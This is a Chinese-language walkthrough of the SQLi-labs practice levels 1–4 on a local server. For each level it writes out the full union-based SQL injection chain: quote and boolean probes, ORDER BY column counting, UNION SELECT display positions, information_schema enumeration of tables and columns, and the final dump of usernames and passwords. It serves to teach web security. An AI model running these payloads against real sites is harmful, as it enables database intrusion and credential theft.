Ps:文章若有逻辑不正确的地方望评论指正!
Ps:此处描述本文主要内容:
Ps:以下为正文内容,其中案例可供参考
Ps:通俗点讲就是当前想要进行SQL注入的Web界面是必须是动态网页,即前端数据与后端数据库进行交互,前端页面从后端获取数据信息进行显示。
Ps1:按照数据类型分类
1)数字型
2)字符型
3)搜索型
Ps2:按照提交方式分类
1)GET型
2)POST型
3)Cookie型
4) Http请求头注入
Ps3:按照执行效果分类
1)报错注入
2)联合查询盲注
3)盲注
4) 堆查询注入
0)判断是否具有sql注入条件
1)判断sql注入漏洞是否存在及类型
2)判断sql查询字段数
3)判断回显点
4) 爆库名
5) 爆表名
6) 爆字段名
7) 爆数据
思路之攻击者视角:黑盒测试
http://localhost:8888/Less-1/?id=1
,页面回显得到两个数据信息,可知该网页是动态网页,具有sql注入的前提条件。Ps:虽然真实情况下我们并不能看到,但初级学习阶段可以利用后端代码思考如何进行sql注入
SELECT * FROM users WHERE id='$id' LIMIT 0,1
;可以看到开发人员在编写代码时获取到的用户参数外添加了字符‘’,因此我们可以根据此代码思考前端进行sql注入时拼接代码欺骗后端服务器该怎么输入相应的sql语句,使其能够在后端服务器中正确执行达到我们想要的执行效果。思路之回到攻击者视角:在了解完后端开发人员代码编写思路后,我们开始尝试进行sql注入
http://localhost:8888/Less-1/?id=1’
,页面回显错误信息,发现可能存在语法漏洞http://localhost:8888/Less-1/?id=1’ -- -
;页面回显正常,探测到可能后端开发人员的编码是‘’字符型传参http://localhost:8888/Less-1/?id=1' and 1=1 -- -
(逻辑与为真),页面回显正常http://localhost:8888/Less-1/?id=1' and 1= 2 -- -
(逻辑与为假),页面没有回显Ps:通常sql注入漏洞分为数字型和字符型两种,具体种类可通过布尔表达式的回显情况判断
http://localhost:8888/Less-1/?id=1’ and ‘1’=’1
注入,成功执行http://localhost:8888/Less-1/?id=1’ and 1=1
注入,执行失败http://localhost:8888/Less-1/?id=1’ and 1=1 -- -
注入,成功执行SELECT * FROM users WHERE id='1' or '1'='1' LIMIT 0,1
SELECT * FROM users WHERE id='' or 1=1 ---' LIMIT 0,1
方法:利用order by猜测和判断sql语句查询的属性字段数
判断列数的原因:
order by能够判断列数的原因:
http://localhost:8888/Less-1/?id=1’ order by 3 #
注入,成功执行http://localhost:8888/Less-1/?id=1’ order by 4 -- -
注入,执行失败,探测到sql语句查询属性列数为3echo $sql;
echo "
";
方法:利用联合函数 union 来查询回显的显示位:
目的:后端代码可能查询n个字段位数,但是显示给前端的只有m个字段位数(m
输入http://localhost:8888/Less-1/?id=-1’ union select 1,2,3 -- -
;发现回显出2,3字段位信息,接下来攻击者就可以利用 2,3位字段来显示攻执行sql注入以获取回显的各种数据库信息
Ps:设置id=-1’原因:我们发现前端页面只输出一条记录,因此攻击者利用联合查询函数时为了判断是哪几位可用,并输出到页面提示,就需要设置union前面的查询结果为假,这样自然数据库返回的就是后一条我们攻击者sql注入的查询结果;所以union后面使用selcet 1,2,3时,返回2,3即表示第2,3位为可用的显示位。
方法:联合利用数据库内置函数对数据库进行sql注入:此处利用了两个内置函数
version()函数:获取当前数据库版本信息
database()函数:获取当前数据库名
输入http://localhost:8888/Less-1/?id=-1' union select 1,2,version() -- -
;爆出当前数据库版本号:5.7.26;
Ps:通过此步可以判断数据库是否具有information_schema基本架构库:mysql5.0以上版本特有,5.0以下版本没有
输入http://localhost:8888/Less-1/?id=-1' union select 1,2,database() -- -
;爆出当前数据库名:security
方法:联合利用mysql数据库本身的information_schema库的三张关键表的关键字段进行sql注入
information_schema 库爆库语句:
union select group_concat(schema_name)
;涉及schemata表
information_schema 库爆表语句:
union select group_concat(table_name)
;涉及tables表:包含table_shema(数据库名)、table_name(数据表名)字段
information_schema 库爆属性字段语句:
union select group_concat(column_name)
;涉及columns表:包含table_schema、table_name、column_name(属性字段名)字段
输入?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' -- -
;
爆出security数据库所有表名,并通过group_concat()函数将查询到的表名组合在一起并输出为一条数据:
获取到所有表名后,选择可能包含敏感信息的表进行查询,比如users表。
输入?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' -- -
;爆出users表属性字段列名。
输入?id=-1' union select 1,2,group_concat(username,'--',password) from security.users -- -
;爆出关键敏感数据信息
或者也可输入?id=-1' union select1,group_concat(username),group_concat(password) from security.users -- -
;使用2,3位查询属性字段列表中的具体值信息
原理和流程类似第一关
1) 判断是否具有SQL注入条件、是否具有SQL注入漏洞、SQL注入类型
?id=2’
,页面回显错误信息,初步判断具有语法漏洞?id=2’ #
,页面回显错误信息?id=2 #
,页面回显正常数据信息?id=2 and 1=1 #
,页面回显正常数据信息?id=2 and 1=2 #
,页面无数据信息回显,判断出此处存在数字型SQL注入漏洞?id=2 order by 5 #
,页面回显错误信息?id=2 order by 3 #
,页面回显正确数据信息?id=2 order by 4 #
,页面回显正确错误信息,由此可以判断出sql查询属性字段列数为3?id=-2 union select 1,2,3 #
,页面回显2,3位数据信息,由此可以判断出可利用回显显示位为第2、3位?id=-2 union select 1,version(),database() #
,页面2、3位分别回显数据库版本信息、数据库名?id=-2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=’seceurity’ #
;可以看到页面第三位爆出securiy库中所有表名?id=-2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users' #
;可以看到页面第三位爆出users表中所有属性字段列名?id=-2 union select 1,group_concat(username),group_concat(password) from users #
;页面2、3位爆出(username、password)关键敏感信息1) 判断是否具有SQL注入条件、是否具有SQL注入点、SQL注入类型
URL处输入?id=3
,页面回显数据信息,判断出具有sql注入条件
URL处输入?id=3’
,页面回显错误信息,初步判断具有语法漏洞
URL处输入
?id=3’ #
,页面回显错误信息
URL处输入?id=3’) -- -
,页面回显正常数据信息
URL处输入?id=3’) and 1=1 -- -
,页面回显正常数据信息
URL处输入?id=3’) and 1=2 -- -
,页面无数据信息回显,判断出此处存在(‘’)字符型SQL注入漏洞
2) 利用order by二分法探测sql查询属性字段列数
URL处输入?id=3’) order by 5 -- -
,页面回显错误信息
URL处输入?id=3’) order by 3 -- -
,页面回显正确数据信息
URL处输入?id=3’) order by 4 -- -
,页面回显正确错误信息,由此可以判断出sql查询属性字段列数为3
3) 利用union联合函数探测回显显示位
URL处输入?id=-3’) union select 1,2,3 -- -
,页面回显2,3位数据信息,由此可以判断出可利用回显显示位为第2、3位
4) 联合利用数据库内置函数:version()/database()探测数据库版本、数据库库名
URL处输入?id=-3’) union select 1,version(),database() -- -
,页面2、3位分别回显数据库版本信息、数据库名
5) 联合利用inforation_schema库tables表探测security数据库表名
URL处输入?id=-3') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 'security' -- -
;可以看到页面第三位爆出securiy库中所有表名
6) 联合利用inforation_schema库columns表探测users数据表属性字段列名
URL处输入?id=-3’) union select 1,2,group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users' -- -
;可以看到页面第三位爆出users表中所有属性字段列名
7) 探测数据库关键信息
URL处输入?id=-3') union select 1,group_concat(username),group_concat(password) from users -- -
;页面2、3位爆出(username、password)关键敏感信息
原理和流程类似第一关
1) 判断是否具有SQL注入条件、是否具有SQL注入点、SQL注入类型
URL处输入?id=4
,页面回显数据信息,判断出具有sql注入前提条件
URL处输入?id=4’
,页面回显错误信息,初步判断具有语法漏洞
URL处输入?id=4\ #
,页面回显错误信息
URL处输入?id=4”) -- -
,页面回显正常数据信息
URL处输入?id=4”) and 1=1 -- -
,页面回显正常数据信息
URL处输入?id=4”) and 1=2 -- -
,页面无数据信息回显,判断出此处存在(“”)字符型SQL注入漏洞
2) 利用order by二分法探测sql查询属性字段列数
URL处输入?id=4”) order by 5 -- -
,页面回显错误信息
URL处输入?id=4”) order by 3 -- -
,页面回显正确数据信息
URL处输入?id=4”) order by 4 -- -
,页面回显正确错误信息,由此可以判断出sql查询属性字段列数为3
3) 利用union联合函数探测回显显示位
URL处输入?id=-4”) union select 1,2,3 -- -
,页面回显2,3位数据信息,由此可以判断出可利用回显显示位为第2、3位
4) 联合利用数据库内置函数:version()/database()探测数据库版本、数据库库名
URL处输入?id=-4”) union select 1,version(),database() -- -
,页面2、3位分别回显数据库版本信息、数据库名
此外,通过数据库版本,我们可以获知接下来可以利用其特有的information_schema基础架构库
5) 联合利用inforation_schema库tables表探测security数据库表名
URL处输入?id=-4") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 'security' -- -
;可以看到页面第三位爆出securiy库中所有表名
根据爆出的所有数据表,我们针对性的挑选可能存在敏感信息的users表继续进行探测
6) 联合利用inforation_schema库columns表探测users数据表属性字段列名
URL处输入?id=-4") union select 1,2,group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users' -- -
;可以看到页面第三位爆出users表中所有属性字段列名
7) 探测数据库关键信息
URL处输入?id=-4") union select 1,group_concat(username),group_concat(password) from users -- -
;页面2、3位爆出(username、password)关键敏感信息